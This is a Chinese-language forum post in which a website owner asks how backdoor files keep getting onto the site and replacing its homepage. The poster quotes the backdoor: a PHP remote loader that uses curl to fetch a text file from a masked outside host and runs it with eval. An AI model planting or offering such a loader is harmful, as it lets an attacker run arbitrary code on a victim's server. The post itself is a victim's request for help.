最近网站经常被上传后门文件,如何知道后门文件是通过什么方式被创建的,上传的后门是这样的,每次都把网站首页修改掉,有没有遇到类似情况的,大家如何解决的呀- <?php
- function get_contents($url){
- $ch = curl_init("$url");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
- curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
- $result = curl_exec($ch);
- return $result;
- }
- $a = get_contents('http://xxxxxxxxxx/1235.txt');
- eval('?>'.$a);
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